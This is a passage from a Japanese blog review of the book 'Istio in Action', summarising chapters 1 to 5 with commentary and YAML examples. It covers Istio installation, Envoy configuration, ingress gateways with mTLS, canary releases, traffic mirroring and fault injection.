Istioは純粋にネットワーキングの問題に焦点を当てており、ビジネスロジックの実装は行いません。これにより、各サービスの責務が明確に分離され、システム全体の保守性が向上します。Istioの実際の使用シナリオ著者は、Istioの実際の使用シナリオについていくつかの具体例を提供しています。マイクロサービスの段階的な導入:既存のモノリシックアプリケーションからマイクロサービスへの移行を段階的に行う際、Istioを使用してトラフィックを制御できます。例えば、新しいマイクロサービスに最初は10%のトラフィックのみを送り、問題がなければ徐々に増やしていくことができます。A/Bテスティング:新機能のテストを行う際、Istioのトラフィック分割機能を使用して、特定のユーザーグループに新機能を提供し、その反応を測定することができます。セキュリティの強化:Istioの相互TLS機能を使用して、すべてのサービス間通信を自動的に暗号化できます。これにより、セキュリティチームは個々のアプリケーションの実装を気にすることなく、一貫したセキュリティポリシーを適用できます。障害インジェクションテスト:Istioの障害インジェクション機能を使用して、特定のサービスの遅延や障害をシミュレートし、システム全体のレジリエンスをテストできます。マルチクラスタ/マルチクラウド環境の管理:Istioを使用して、異なるクラスタや異なるクラウドプロバイダー上で動作するサービス間の通信を統一的に管理できます。これにより、ハイブリッドクラウド環境やマルチクラウド環境の運用が大幅に簡素化されます。まとめ「Istio in Action」の第1章は、サービスメッシュとIstioの概念を包括的に紹介し、その重要性を説得力のある方法で説明しています。著者は、クラウドネイティブアーキテクチャの課題を明確に特定し、Istioがこれらの課題にどのように対処するかを詳細に解説しています。Figure 1.13 An overview of separation of concerns in cloud-native applications. Istio plays a supporting role to the application layer and sits above the lower-level deployment layer. より引用この図は、クラウドネイティブアプリケーションにおけるIstioの位置づけを示しています。Istioが、アプリケーションレイヤーとデプロイメントレイヤーの間に位置し、両者を橋渡しする重要な役割を果たしていることがわかります。Istioは、ネットワークの信頼性、セキュリティ、可観測性、トラフィック管理など、分散システムが直面する多くの課題に対する強力なソリューションを提供します。しかし、著者が指摘しているように、Istioの導入は技術的な変更以上のものであり、組織のアーキテクチャ設計、運用プラクティス、さらにはチームの構造にまで影響を与える可能性があります。2024年現在、Istioはさらに進化を続けており、アンビエントメッシュやWebAssemblyを通じた拡張性の向上など、新たな可能性を開いています。これらの進化は、著者の主張の妥当性を裏付けるとともに、Istioの適用範囲をさらに広げています。最後に、この章はIstioの導入を検討している組織にとって優れた出発点となりますが、実際の導入に際しては、自組織の具体的なニーズ、既存のインフラストラクチャ、そして長期的な技術戦略を慎重に評価することが重要です。Istioは強力なツールですが、それを効果的に活用するためには、適切な計画、リソース、そして継続的な学習とアダプテーションが必要です。サービスメッシュ技術、特にIstioは、クラウドネイティブアーキテクチャの未来を形作る重要な要素の一つとなっています。この技術を理解し、適切に活用することは、現代のソフトウェアエンジニアとSREにとって不可欠なスキルとなっているのです。2 First steps with Istio「Istio in Action」の第2章は、Istioの実践的な導入と基本的な使用方法に焦点を当てています。この章では、Istioのインストール、コントロールプレーンの理解、アプリケーションのデプロイ、トラフィック制御、そして観測可能性の探索といった重要なトピックが取り上げられています。Istioのインストールと基本設定章の冒頭で、著者はIstioのインストール方法を詳細に説明しています。特に印象的だったのは、istioctlコマンドラインツールの使用です。このツールを使用することで、Istioのインストールプロセスが大幅に簡素化されています。例えば、以下のコマンドでIstioをインストールできます:istioctl install --set profile=demo -yこの簡潔さは、特に大規模な環境での導入や、CI/CDパイプラインへの組み込みを考えた際に非常に有用です。また、著者が強調しているように、インストール前のistioctl x precheckコマンドの使用は、潜在的な問題を事前に特定し、スムーズなデプロイメントを確保するための重要なステップです。Figure 2.1 Istio control plane and supporting components より引用この図は、Istioの全体的なアーキテクチャを理解する上で非常に有用です。特に、istiodがコントロールプレーンの中心的な役割を果たしていることが視覚的に明確になっています。Istioのコントロールプレーンの理解著者は、Istioのコントロールプレーン、特にistiodコンポーネントの重要性を強調しています。istiodは、設定の管理、サービスディスカバリ、証明書管理など、多岐にわたる機能を担っています。特に印象的だったのは、IstioがKubernetes Custom Resource Definitions (CRDs)を活用して設定を管理している点です。これにより、Istioの設定がKubernetesのネイティブリソースとして扱えるようになり、既存のKubernetesツールやワークフローとシームレスに統合できます。hiroki-hasegawa.hatenablog.jp例えば、以下のようなYAML定義で、Istioの振る舞いを制御できます:apiVersion: networking.istio.io/v1alpha3kind: VirtualServicemetadata: name: my-servicespec: hosts: - my-service http: - route: - destination: host: my-service subset: v1この宣言的な設定アプローチは、IaCの原則に沿っており、設定の版管理やレビュープロセスの導入を容易にします。アプリケーションのデプロイとサービスメッシュへの統合著者は、サンプルアプリケーション(カタログサービスとWebアプリ)を用いて、Istioのサービスメッシュへのアプリケーションの統合プロセスを説明しています。特に注目すべきは、サイドカーインジェクションのプロセスです。Istioは、アプリケーションのPodに自動的にEnvoyプロキシをインジェクトすることで、アプリケーションコードを変更することなくメッシュの機能を提供します。hiroki-hasegawa.hatenablog.jpkubectl label namespace istioinaction istio-injection=enabledこのコマンドは、指定された名前空間内の全てのPodに自動的にIstioプロキシをインジェクトするよう設定します。この自動化は、大規模なマイクロサービス環境での運用を大幅に簡素化します。Figure 2.7 The webapp service calling the catalog service both with istio-proxy injected より引用この図は、サイドカーパターンの実際の動作を視覚的に説明しており、サービス間通信がどのようにIstioプロキシを介して行われるかを明確に示しています。トラフィック制御と高度なルーティング著者は、Istioの強力なトラフィック制御機能について詳しく説明しています。特に印象的だったのは、VirtualServiceとDestinationRuleの概念です。これらのリソースを使用することで、非常に細かい粒度でトラフィックをコントロールできます。例えば、以下のような設定で、特定のヘッダーを持つリクエストを新バージョンのサービスにルーティングできます:apiVersion: networking.istio.io/v1alpha3kind: VirtualServicemetadata: name: catalogspec: hosts: - catalog http: - match: - headers: x-dark-launch: exact: \\"v2\\" route: - destination: host: catalog subset: version-v2 - route: - destination: host: catalog subset: version-v1この機能は、カナリアリリースやブルー/グリーンデプロイメントなどの高度なデプロイメント戦略を実装する上で非常に有用です。SREの観点からは、このような細かい制御が可能であることで、新機能のロールアウトリスクを大幅に低減できます。観測可能性とレジリエンス著者は、IstioがPrometheusやGrafanaなどのツールと統合して、システムの観測可能性を向上させる方法を説明しています。特に、Istioが自動的に生成する詳細なメトリクスとトレースは、複雑なマイクロサービス環境でのトラブルシューティングを大幅に簡素化します。また、Istioのレジリエンス機能、特にリトライとサーキットブレーカーの実装は注目に値します。以下の設定例は、サービスへのリクエストに自動リトライを実装する方法を示しています:apiVersion: networking.istio.io/v1alpha3kind: VirtualServicemetadata: name: my-servicespec: hosts: - my-service http: - route: - destination: host: my-service retries: attempts: 3 perTryTimeout: 2sこの設定により、一時的なネットワーク障害やサービスの瞬間的な不具合に対する耐性が向上し、システム全体の安定性が改善されます。まとめ「Istio in Action」の第2章は、Istioの基本的な導入から高度な機能の使用まで、幅広いトピックをカバーしています。この章から得られる主要な洞察は以下の通りです:インフラストラクチャレベルでの問題解決: Istioは、ネットワークの信頼性、セキュリティ、可観測性などの横断的な問題をインフラストラクチャレベルで解決します。これにより、開発者はビジネスロジックに集中できるようになります。宣言的な設定: IstioはKubernetes CRDを活用し、宣言的な方法で複雑なネットワーキングの動作を定義できます。これにより、設定の管理と自動化が容易になります。段階的な導入の重要性: 著者が強調しているように、Istioは既存のシステムに段階的に導入できます。これは、リスクを最小限に抑えながらサービスメッシュの利点を享受するための重要なアプローチです。観測可能性の向上: Istioは、複雑なマイクロサービス環境での問題の診断と解決を大幅に簡素化します。これは、システムの信頼性と運用効率の向上に直結します。高度なトラフィック制御: IstioのVirtualServiceとDestinationRuleを使用することで、非常に細かい粒度でトラフィックをコントロールできます。これは、新機能の安全なロールアウトや、A/Bテストの実施に非常に有用です。Istioはマイクロサービスアーキテクチャの複雑さに対処するための強力なツールセットを提供しています。しかし、その導入には慎重な計画と、組織全体での協力が必要です。実際の運用環境でIstioを活用する際は、以下の点に注意することをお勧めします:段階的な導入: 全てのサービスを一度にIstioに移行するのではなく、重要度の低いサービスから始めて段階的に導入することをお勧めします。モニタリングとトレーシングの強化: Istioの可観測性機能を最大限に活用し、既存のモニタリングツールと統合することで、システム全体の可視性を向上させます。セキュリティポリシーの統一: Istioのセキュリティ機能を利用して、全サービスに一貫したセキュリティポリシーを適用します。トラフィック管理戦略の策定: カナリアリリースやA/Bテストなど、Istioのトラフィック管理機能を活用した高度なデプロイメント戦略を計画します。パフォーマンスの最適化: Istioの導入に伴うオーバーヘッドを考慮し、適切なリソース割り当てと設定の最適化を行います。最後に、Istioは強力なツールですが、それを効果的に活用するためには、適切な計画、リソース、そして継続的な学習とアダプテーションが必要です。この章で学んだ基本を踏まえ、実際の環境での試行錯誤を通じて、組織に最適なIstioの活用方法を見出していくことが重要です。3 Istio\'s data plane: The Envoy proxy「Istio in Action」の第3章は、Istioのデータプレーンの中核を成すEnvoyプロキシに焦点を当てています。この章では、Envoyの基本概念、設定方法、主要機能、そしてIstioとの関係性について詳細に解説されています。Envoyは、現代のマイクロサービスアーキテクチャにおける重要な課題を解決するために設計された強力なプロキシであり、Istioのサービスメッシュ機能の多くを支えています。Envoyプロキシの概要と主要機能Envoyは、Lyft社によって開発された高性能なL7プロキシおよび通信バスです。以下の主要な特徴を持っています:言語非依存: C++で実装されており、任意の言語やフレームワークで書かれたアプリケーションと連携可能。動的設定: xDS APIを通じて動的に設定を更新可能。高度な負荷分散: 様々な負荷分散アルゴリズムをサポート。強力な可観測性: 詳細なメトリクスと分散トレーシングをサポート。L7プロトコルサポート: HTTP/2、gRPCなどの最新プロトコルをネイティブにサポート。Figure 3.1 A proxy is an intermediary that adds functionality to the flow of traffic. より引用Envoyの核心的な設計原則は、「ネットワークは透過的であるべきで、問題が発生した際には容易に原因を特定できるべき」というものです。この原則は、複雑化するマイクロサービス環境において非常に重要です。Envoyの設定と動作Envoyの設定は主に以下の3つの要素から構成されます:Listeners: 受信トラフィックを処理するポートとプロトコルを定義。Routes: 受信したリクエストをどのクラスタに転送するかを定義。Clusters: アップストリームサービスのグループを定義。以下は、基本的なEnvoy設定の例です。Istioの複雑さの多くはEnvoyに起因しています。Envoyの設定と動作原理を十分に理解しているかどうかで、Istioの全体像の把握や問題解決の能力が大きく異なります。したがって、Istioを効果的に活用していくためには、Envoyについても深く学び、実践することが不可欠です。github.comstatic_resources: listeners: - name: listener_0 address: socket_address: { address: 0.0.0.0, port_value: 10000 } filter_chains: - filters: - name: envoy.filters.network.http_connection_manager typed_config: \\"@type\\": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager stat_prefix: ingress_http route_config: name: local_route virtual_hosts: - name: local_service domains: [\\"*\\"] routes: - match: { prefix: \\"/\\" } route: { cluster: some_service } clusters: - name: some_service connect_timeout: 0.25s type: STRICT_DNS lb_policy: ROUND_ROBIN load_assignment: cluster_name: some_service endpoints: - lb_endpoints: - endpoint: address: socket_address: address: some-service port_value: 80この設定は、ポート10000でリスニングし、全てのリクエストをsome_serviceクラスタにルーティングします。実際の運用環境では、より複雑な設定が必要になりますが、この例はEnvoyの基本的な構造を理解するのに役立ちます。Envoyの動的設定と xDS APIEnvoyの強力な機能の一つは、動的設定能力です。xDS (x Discovery Service) APIを通じて、実行時に設定を更新できます。主なxDS APIには以下があります:LDS (Listener Discovery Service)RDS (Route Discovery Service)CDS (Cluster Discovery Service)EDS (Endpoint Discovery Service)SDS (Secret Discovery Service)これらのAPIを使用することで、Envoyプロキシの動作を動的に変更でき、環境の変化に迅速に対応できます。Istioは、これらのAPIを実装し、Envoyプロキシの設定を管理します。Figure 3.5 Istio abstracts away the service registry and provides an implementation of Envoy’s xDS API. より引用Envoyの可観測性とトラブルシューティングEnvoyは、詳細なメトリクスと分散トレーシング機能を提供します。これらの機能は、複雑なマイクロサービス環境でのトラブルシューティングに不可欠です。Envoyの主な可観測性機能には以下があります:統計情報: リクエスト数、レイテンシ、エラーレートなどの詳細な統計情報を提供。分散トレーシング: OpenTracingと互換性があり、リクエストの全体的な流れを追跡可能。アクセスログ: 詳細なリクエスト/レスポンス情報を記録。また、EnvoyはAdmin APIを提供しており、実行時の設定やメトリクスにアクセスできます。これは、運用環境でのトラブルシューティングに非常に有用です。## Envoyの統計情報を取得する例curl http://localhost:9901/stats## Envoyの現在の設定をダンプする例curl http://localhost:9901/config_dumpこれらの機能により、EnvoyとIstioを使用したシステムの可観測性が大幅に向上し、問題の迅速な特定と解決が可能になります。IstioとEnvoyの関係IstioはEnvoyをデータプレーンとして使用し、その強力な機能を活用しています。Istioは以下の方法でEnvoyを拡張および管理しています:設定管理: IstioはxDS APIを実装し、Envoyプロキシの設定を一元管理します。セキュリティ: Istioは、Envoyの相互TLS機能を利用し、サービス間の通信を自動的に暗号化します。トラフィック管理: IstioのVirtualServiceやDestinationRuleは、Envoyのルーティングおよびロードバランシング機能を抽象化します。可観測性: IstioはEnvoyのメトリクスとトレーシング機能を活用し、より高度な可観測性を提供します。Figure 3.7 istiod delivers application-specific certificates that can be used to establish mutual TLS to secure traffic between services. より引用こちらのブログがオススメです。hiroki-hasegawa.hatenablog.jp実践的な応用と提案Envoyプロキシとそれを活用したIstioのデータプレーンを効果的に利用するために、以下の実践的な提案を考えてみましょう:段階的な導入: Envoyプロキシを既存のインフラストラクチャに段階的に導入することを検討します。例えば、最初は非クリティカルなサービスに導入し、徐々に範囲を広げていくアプローチが有効です。カスタムフィルターの開発: WebAssemblyを使用して、組織固有のニーズに合わせたカスタムEnvoyフィルターを開発します。これにより、Envoyの機能を拡張し、特定のユースケースに対応できます。詳細なモニタリングの実装: Envoyの豊富なメトリクスを活用し、Prometheusなどのモニタリングシステムと統合します。ダッシュボードを作成し、サービスの健全性とパフォーマンスを視覚化します。トラフィック管理戦略の最適化: Envoyのルーティング機能を活用し、A/Bテストやカナリアリリースなどの高度なデプロイメント戦略を実装します。セキュリティの強化: Envoyの相互TLS機能を最大限に活用し、サービス間通信のセキュリティを強化します。また、認証・認可ポリシーを実装し、きめ細かなアクセス制御を実現します。パフォーマンスチューニング: Envoyの設定を最適化し、リソース使用量とレイテンシを監視します。特に大規模環境では、Envoyのリソース設定を慎重に調整する必要があります。障害注入テストの実施: Envoyの障害注入機能を使用して、システムの回復性をテストします。様々な障害シナリオを模擬し、システムの動作を検証します。継続的な学習と最適化: Envoyとイストの進化に合わせて、継続的に新機能を学び、適用していきます。コミュニティへの参加や、最新のベストプラクティスの追跡が重要です。まとめEnvoyプロキシは、現代のクラウドネイティブアーキテクチャにおける多くの課題を解決する強力なツールです。その柔軟性、拡張性、そして高度な機能セットは、複雑なマイクロサービス環境での運用を大幅に簡素化します。Istioと組み合わせることで、Envoyの機能がさらに強化され、より統合されたサービスメッシュソリューションとなります。しかし、EnvoyとIstioの導入には慎重な計画と設計が必要です。特に大規模な環境では、パフォーマンスやリソース使用量に注意を払う必要があります。また、チームのスキルセットの向上や、新しい運用プラクティスの導入も重要な検討事項となります。最後に、EnvoyとIstioは急速に進化を続けているため、継続的な学習と適応が不可欠です。これらのテクノロジーを効果的に活用するには、最新の動向を常に追跡し、自組織のニーズに合わせて適切に採用していく必要があります。Part 2 Securing, observing, and controlling your service’s network traffic4 Istio gateways: Getting traffic into a cluster「Istio in Action」の第4章は、Istioのゲートウェイ機能に焦点を当て、クラスター外部からのトラフィックを安全かつ効率的に管理する方法について詳細に解説しています。この章では、Istio Gatewayの基本概念から高度な設定、セキュリティ対策、そして運用上の考慮事項まで、幅広いトピックがカバーされています。Istio Gatewayの基本概念Istio Gatewayは、クラスター外部からのトラフィックを制御し、内部サービスへのアクセスを管理する重要なコンポーネントです。著者は、従来のKubernetes Ingressとの違いを明確にしながら、Istio Gatewayの利点を説明しています。特に印象的だったのは、以下の点です:柔軟なプロトコルサポート: Istio GatewayはHTTP/HTTPSだけでなく、TCPやgRPCなど、さまざまなプロトコルをサポートしています。これにより、多様なアプリケーションニーズに対応できます。詳細な設定オプション: GatewayリソースとVirtualServiceリソースの組み合わせにより、非常に細かいトラフィック制御が可能です。セキュリティの統合: TLS/mTLSの設定が容易で、証明書の管理もIstioが行うことができます。Figure 4.1 We want to connect networks by connecting clients running outside of our cluster to services running inside our cluster. より引用この図は、Istio Gatewayがクラスター外部からのトラフィックをどのように受け取り、内部サービスに転送するかを視覚的に示しています。これにより、Gatewayの役割が明確に理解できます。Gateway設定の実践著者は、実際のGateway設定例を通じて、その使用方法を詳細に解説しています。以下は、基本的なGateway設定の例です:apiVersion: networking.istio.io/v1alpha3kind: Gatewaymetadata: name: coolstore-gatewayspec: selector: istio: ingressgateway servers: - port: number: 80 name: http protocol: HTTP hosts: - \\"webapp.istioinaction.io\\"この設定例は、HTTP traffを受け入れ、特定のホストに対するリクエストをルーティングする方法を示しています。著者は、このような基本的な設定から始めて、徐々に複雑な設定へと読者を導いています。VirtualServiceとの連携も重要なポイントです:apiVersion: networking.istio.io/v1alpha3kind: VirtualServicemetadata: name: webapp-vs-from-gwspec: hosts: - \\"webapp.istioinaction.io\\" gateways: - coolstore-gateway http: - route: - destination: host: webapp port: number: 8080この組み合わせにより、外部からのリクエストを適切な内部サービスにルーティングできます。セキュリティ設定著者は、Istio Gatewayのセキュリティ設定に大きな注意を払っています。特にTLS/mTLSの設定方法は、現代のマイクロサービスアーキテクチャにおいて非常に重要です。Figure 4.8 Basic model of how TLS is established between a client and server より引用この図は、クライアントとサーバー間でのTLS handshakeのプロセスを視覚的に表現しており、セキュリティ設定の重要性を理解する上で非常に有用です。以下は、mTLSを設定するGatewayの例です:apiVersion: networking.istio.io/v1alpha3kind: Gatewaymetadata: name: coolstore-gatewayspec: selector: istio: ingressgateway servers: - port: number: 443 name: https protocol: HTTPS tls: mode: MUTUAL credentialName: webapp-credential-mtls hosts: - \\"webapp.istioinaction.io\\"この設定により、クライアントとサーバー間の相互認証が可能になり、セキュリティが大幅に向上します。高度な機能と運用上の考慮事項著者は、単なる基本的な使用方法だけでなく、Istio Gatewayの高度な機能や運用上の考慮事項についても詳しく説明しています。特に印象的だった点は以下の通りです:複数のGatewayの使用: 異なるチームや要件に応じて複数のGatewayを設定する方法が説明されています。これは大規模な組織での運用に特に有用です。Gateway Injection: stub deploymentを使用してGatewayを注入する方法は、チーム間の責任分担を明確にする上で非常に有効です。アクセスログの設定: デバッグやトラブルシューティングに不可欠なアクセスログの設定方法が詳細に解説されています。設定の最適化: 大規模な環境でのパフォーマンス最適化のための設定方法が提供されています。これらの高度な機能は、実際のプロダクション環境でIstioを運用する際に非常に重要になります。実践的な応用と提案Istio Gatewayを効果的に活用するために、以下の実践的な提案を考えてみましょう:段階的な導入: 既存の環境にIstio Gatewayを導入する際は、段階的なアプローチを取ることをおすすめします。まずは非クリティカルなサービスから始め、徐々に範囲を広げていくことで、リスクを最小限に抑えながら導入できます。セキュリティファーストの設計: 初期の設定段階からTLS/mTLSを有効にし、セキュリティを最優先に考えます。証明書の自動管理機能を活用し、定期的な更新を確実に行います。トラフィック制御戦略の策定: カナリアリリースやA/Bテストなど、Gatewayのトラフィック制御機能を活用した高度なデプロイメント戦略を計画します。これにより、新機能の安全なロールアウトが可能になります。モニタリングとロギングの強化: Gatewayのアクセスログと、Prometheusなどの監視ツールを統合し、詳細なトラフィック分析を行います。異常検知やパフォーマンス最適化に活用します。マルチクラスター/マルチクラウド戦略: Istio Gatewayのマルチクラスター機能を活用し、異なる環境(開発、ステージング、本番)や異なるクラウドプロバイダー間でのサービスメッシュの統一管理を検討します。チーム間の責任分担の明確化: Gateway Injectionを活用し、各チームが自身のGatewayを管理できるようにします。これにより、組織全体の俊敏性が向上します。パフォーマンスチューニング: 大規模環境では、Gateway設定の最適化が重要です。不要な設定を削除し、リソース使用量を監視しながら、継続的な最適化を行います。セキュリティ監査の定期実施: Gatewayの設定、特にTLS/mTLS設定を定期的に監査します。新たな脆弱性や推奨事項に応じて、設定を更新します。ディザスタリカバリ計画の策定: Gatewayは重要なインフラコンポーネントであるため、障害時の迅速な復旧計画を策定します。複数のGatewayを異なるアベイラビリティゾーンに配置するなどの冗長性も検討します。まとめ「Istio in Action」の第4章は、Istio Gatewayの重要性と、その効果的な使用方法を包括的に解説しています。Gatewayは、クラスター外部からのトラフィックを管理する上で非常に重要な役割を果たし、セキュリティ、可観測性、トラフィック制御など、多岐にわたる機能を提供します。著者が強調しているように、Istio Gatewayは単なるIngress Controllerの代替ではなく、より高度で柔軟なトラフィック管理ソリューションです。特に、詳細なルーティング制御、TLS/mTLSの簡単な設定、そして様々なプロトコルのサポートは、現代のマイクロサービスアーキテクチャにおいて非常に価値があります。しかし、Gatewayの導入には慎重な計画とデザインが必要です。特に大規模な環境では、パフォーマンスやリソース使用量に注意を払う必要があります。また、チームのスキルセットの向上や、新しい運用プラクティスの導入も重要な検討事項となります。2024年現在、Istioはさらに進化を続けており、アンビエントメッシュやKubernetes Gateway APIのサポートなど、新たな可能性を開いています。これらの進化は、Istio Gatewayの適用範囲をさらに広げ、より多様なユースケースに対応できるようになっています。最後に、Istio Gatewayの導入を検討している組織にとって、この章は優れた出発点となります。しかし、実際の導入に際しては、自組織の具体的なニーズ、既存のインフラストラクチャ、そして長期的な技術戦略を慎重に評価することが重要です。Istio Gatewayは強力なツールですが、それを効果的に活用するためには、適切な計画、リソース、そして継続的な学習とアダプテーションが必要です。Istio Gatewayは、クラウドネイティブアーキテクチャの未来を形作る重要な要素の一つです。この技術を理解し、適切に活用することは、現代のソフトウェアエンジニアとSREにとって不可欠なスキルとなっています。本章で学んだ知識を基に、実際の環境での試行錯誤を通じて、組織に最適なIstio Gatewayの活用方法を見出していくことが重要です。5 Traffic control: Fine-grained traffic routing「Istio in Action」の第5章は、Istioの強力なトラフィック制御機能に焦点を当てています。この章では、新しいコードのデプロイリスクを軽減するための様々な技術が詳細に解説されています。著者は、リクエストレベルのルーティング、トラフィックシフティング、トラフィックミラーリングなどの高度な概念を、実践的な例を交えながら説明しています。Figure 5.1 In a blue/green deployment, blue is the currently released software. When we release the new software, we cut over traffic to the green version. より引用この章はIstioを活用して本番環境でのリリースリスクを大幅に低減する方法を提供しており、非常に価値があります。特に印象に残ったのは、著者が繰り返し強調している「デプロイメント」と「リリース」の概念の分離です。この考え方は、現代のクラウドネイティブ環境において安全かつ効率的なソフトウェアデリバリーを実現する上で極めて重要です。Figure 5.2 A deployment is code that is installed into production but does not take any live production traffic. While the deployment is installed into production, we do smoke tests and validate it. より引用ソフトウェアデリバリーについては「入門 継続的デリバリー」が良いのでぜひ読んでみて下さい(ちなみに原書のGrokking Continuous Deliveryしか読めてないので翻訳版も早く読みたい)。www.oreilly.co.jpトラフィック制御の基本概念著者は、まずIstioのトラフィック制御の基本的な仕組みを説明しています。Istioでは、VirtualServiceとDestinationRuleという2つの主要なリソースを使用してトラフィックを制御します。VirtualServiceは、トラフィックのルーティングルールを定義します。例えば、以下のような設定が可能です:apiVersion: networking.istio.io/v1alpha3kind: VirtualServicemetadata: name: catalog-vs-from-gwspec: hosts: - \\"catalog.istioinaction.io\\" gateways: - catalog-gateway http: - route: - destination: host: catalog subset: version-v1この設定は、すべてのトラフィックをcatalogサービスのversion-v1サブセットにルーティングします。DestinationRuleは、トラフィックの宛先に関するポリシーを定義します:apiVersion: networking.istio.io/v1alpha3kind: DestinationRulemetadata: name: catalogspec: host: catalog subsets: - name: version-v1 labels: version: v1 - name: version-v2 labels: version: v2このDestinationRuleは、catalogサービスに2つのサブセット(version-v1とversion-v2)を定義しています。これらのリソースを組み合わせることで、非常に細かい粒度でトラフィックを制御できます。例えば、特定のHTTPヘッダーを持つリクエストを新しいバージョンのサービスにルーティングするといったことが可能です。カナリアリリースとトラフィックシフティング著者は、新しいバージョンのサービスを安全にリリースするための手法として、カナリアリリースとトラフィックシフティングを詳細に解説しています。カナリアリリースでは、新バージョンに少量のトラフィックを送り、その挙動を観察します。Istioでは、以下のようなVirtualService設定でこれを実現できます:apiVersion: networking.istio.io/v1alpha3kind: VirtualServicemetadata: name: catalogspec: hosts: - catalog http: - route: - destination: host: catalog subset: version-v1 weight: 90 - destination: host: catalog subset: version-v2 weight: 10この設定では、10%のトラフィックを新バージョン(v2)に送り、残りの90%を既存バージョン(v1)に送ります。著者は、このアプローチの利点として以下を挙げています:リスクの最小化:新バージョンに問題があっても、影響を受けるユーザーは限定的です。段階的な移行:問題がなければ、徐々にトラフィックの割合を増やしていけます。リアルワールドでのテスト:実際のユーザートラフィックを使用してテストできます。SREの観点からは、このアプローチは本番環境の安定性を維持しながら新機能を導入する上で非常に有効です。また、問題が発生した場合の迅速なロールバックも容易です。トラフィックミラーリング著者が紹介している興味深い機能の一つが、トラフィックミラーリングです。これは、実際のトラフィックのコピーを新バージョンのサービスに送信し、その挙動を観察する技術です。apiVersion: networking.istio.io/v1alpha3kind: VirtualServicemetadata: name: catalogspec: hosts: - catalog http: - route: - destination: host: catalog subset: version-v1 weight: 100 mirror: host: catalog subset: version-v2この設定では、すべてのトラフィックがversion-v1に送られると同時に、そのコピーがversion-v2にも送られます。重要なのは、ミラーリングされたトラフィックの応答は無視されるため、ユーザーに影響を与えることなく新バージョンをテストできる点です。この機能は、特に高トラフィックの環境や、トランザクションの整合性が重要なシステムでの新バージョンのテストに非常に有効です。実際のプロダクショントラフィックを使用してテストできるため、ステージング環境では発見できないような問題を早期に発見できる可能性があります。Flaggerを使用した自動カナリアデプロイメント著者は、Istioのトラフィック制御機能を自動化するツールとしてFlaggerを紹介しています。Flaggerは、メトリクスに基づいて自動的にトラフィックを調整し、カナリアリリースを管理します。以下は、FlaggerのCanaryリソースの例です:apiVersion: flagger.app/v1beta1kind: Canarymetadata: name: catalog-releasespec: targetRef: apiVersion: apps/v1 kind: Deployment name: catalog service: name: catalog port: 80 analysis: interval: 45s threshold: 5 maxWeight: 50 stepWeight: 10 metrics: - name: request-success-rate thresholdRange: min: 99 interval: 1m - name: request-duration thresholdRange: max: 500 interval: 30sこの設定では、Flaggerが45秒ごとにメトリクスを評価し、問題がなければトラフィックを10%ずつ増やしていきます。成功率が99%を下回るか、レスポンス時間が500msを超えた場合、カナリアリリースは中止されロールバックが行われます。これにより、人間の介入なしに安全なカナリアリリースを実現できます。特に、複数のサービスを同時にリリースする必要がある大規模な環境では、この自動化は非常に価値があります。クラスター外部へのトラフィック制御著者は、Istioを使用してクラスター外部へのトラフィックを制御する方法も解説しています。デフォルトでは、Istioはすべての外部トラフィックを許可しますが、セキュリティ上の理由から、この動作を変更してすべての外部トラフィックをブロックし、明示的に許可されたトラフィックのみを通過させることができます。apiVersion: networking.istio.io/v1alpha3kind: ServiceEntrymetadata: name: external-apispec: hosts: - api.external-service.com ports: - number: 443 name: https protocol: HTTPS resolution: DNS location: MESH_EXTERNALこのServiceEntryは、特定の外部サービスへのアクセスを許可します。これにより、マイクロサービス環境でのセキュリティを大幅に向上させることができます。実践的な応用と提案Istioのトラフィック制御機能を効果的に活用するために、以下の実践的な提案を考えてみましょう:段階的な導入戦略の策定: 新機能のロールアウトには、まずカナリアリリースを使用し、問題がなければトラフィックシフティングで段階的に移行するという戦略を採用します。これにより、リスクを最小限に抑えながら、新機能を迅速に導入できます。自動化パイプラインの構築: FlaggerなどのツールをCI/CDパイプラインに統合し、カナリアリリースプロセスを自動化します。これにより、人間のエラーを減らし、リリースの一貫性と速度を向上させることができます。詳細なモニタリングの実装: Istioのテレメトリ機能を活用し、サービスのパフォーマンス、エラーレート、レイテンシなどを詳細に監視します。Prometheusなどのモニタリングシステムと統合し、カスタムダッシュボードを作成して、リリースの進捗を視覚化します。トラフィックミラーリングの活用: 新バージョンのサービスをプロダクション環境で徹底的にテストするために、トラフィックミラーリングを活用します。これにより、実際のユーザートラフィックを使用してテストできますが、ユーザーへの影響はありません。セキュリティファーストのアプローチ: ServiceEntryを使用して外部トラフィックを制御し、必要最小限のサービスにのみ外部アクセスを許可します。これにより、潜在的なセキュリティリスクを軽減できます。A/Bテストの実施: Istioの細かいトラフィック制御を活用して、新機能のA/Bテストを実施します。ユーザーセグメントに基づいてトラフィックを分割し、機能の効果を測定します。障害注入テストの実施: Istioの障害注入機能を使用して、様々な障害シナリオ(遅延、エラーなど)をシミュレートし、システムの回復性をテストします。これにより、本番環境での予期せぬ問題に対する準備を整えることができます。例えば、以下のようなVirtualServiceを使用して、特定のパーセンテージのリクエストに対して遅延を注入できます: apiVersion: networking.istio.io/v1alpha3 kind: VirtualService metadata: name: catalog-delay spec: hosts: - catalog http: - fault: delay: percentage: value: 10 fixedDelay: 5s route: - destination: host: catalog この設定では、10%のリクエストに5秒の遅延が追加されます。これを使用して、サービスがタイムアウトや遅延に適切に対応できるかをテストできます。トラフィックポリシーの定期的な見直し: システムの進化に伴い、トラフィックルーティングポリシーを定期的に見直し、最適化します。例えば、古いバージョンへのルーティングを削除したり、新しいサービスを追加したりする必要があるかもしれません。以下は、見直しのチェックリストの例です:全てのサービスバージョンが適切にルーティングされているか不要なルーティングルールがないかセキュリティポリシーが最新のベストプラクティスに沿っているかパフォーマンスメトリクスに基づいてルーティング比率を調整する必要があるかマルチクラスター/マルチリージョン戦略の策定: Istioのマルチクラスター機能を活用して、地理的に分散したサービスのトラフィックを管理します。これにより、レイテンシの最適化やディザスタリカバリの改善が可能になります。例えば、以下のようなGatewayを使用して、クラスター間の通信を制御できます: apiVersion: networking.istio.io/v1alpha3 kind: Gateway metadata: name: cross-cluster-gateway spec: selector: istio: ingressgateway servers: - port: number: 443 name: tls protocol: TLS tls: mode: AUTO_PASSTHROUGH hosts: - \\"*.global\\" この設定により、異なるクラスター間でサービスを安全に公開し、通信できるようになります。カスタムメトリクスの導入: Istioのテレメトリ機能を拡張して、ビジネス固有のメトリクスを収集します。これにより、技術的な指標だけでなく、ビジネス上の成果もトラッキングできるようになります。例えば、Envoy filterを使用して、特定のAPIコールの頻度や成功率を測定できます:apiVersion: networking.istio.io/v1alpha3kind: EnvoyFiltermetadata: name: custom-metricspec: configPatches: - applyTo: HTTP_FILTER match: context: 